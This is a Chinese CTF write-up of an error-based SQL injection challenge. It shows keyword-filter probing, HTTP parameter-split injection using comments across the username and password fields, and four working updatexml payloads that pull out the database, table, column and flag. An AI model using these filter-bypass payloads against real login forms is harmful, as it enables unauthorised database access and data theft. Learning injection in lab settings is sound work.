实验吧web加了料的报错注入

 知识点:

SQL注入中用到的Concat函数详解    http://www.sohu.com/a/219966085_689961

http分割注入

 

 

直接根据提示,提交post请求的用户名和密码

 

结果显示

换成 username=1'&password=1

就说我有sql语法错误,说明这题是要考虑sql注入的,然后然后用burpsuite检测许多sql相关的词,看哪些词被过滤了

bp爆破测试教程可以参考这一篇https://blog.csdn.net/weixin_38948797/article/details/79111566

 查看测试的结果:# = union select等这几个都是报错‘Sql injection detected’说明都被过滤了

 

 

看一下网页源码

 介于这个情况,还有源码中的提示是这样一整句的查询

故而我们考虑用http分割注入,这个形式便是把一个想执行的语句,拆散到两个参数里,并注释中间的东西,来达到注入的目的

记得我们得知的SQL语句格式嘛?  where username='???' and password='???'   而sql语句中可以使用/**/注释掉中间的SQL语句。也就是说,我们可以使用/**/来解决这个问题,而且/**/也没有被吃掉,这叫做HTTP分割注入。

 

对经常使用的报错注入函数updatexml进行测试。在密码中禁止对updatexml的使用,但是用户名并没有禁止。因此通过updatexml在存储非XPath格式的字符串时的报错输出获得所需要的信息。

 

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml在username中可用,而在password中被过滤了,现在还有一个问题,等号‘=’不让用,我们这里告诉一个操作:<>在sql中表示不等于,再在前面加个!就能起到等号的作用了

 

(1)函数库名

username=1' or updatexml/*&password=*/(1,concat(0x7e,(select database()),0x7e),1) or '1

 

(2)表名

username=1' or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where !(table_schema<>'error_based_hpf')),0x7e),1) or '1

 

 

(3)字段

username=1' or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where !(table_name<>'ffll44jj')),0x7e),1) or '1

 

 (4)内容

username=1' or updatexml/*&password=*/(1,concat(0x7e,(select value from ffll44jj),0x7e),1)or '1

 

参考了https://blog.csdn.net/qq_41618162/article/details/81783298

 

原文地址:https://www.cnblogs.com/liqik/p/10543345.html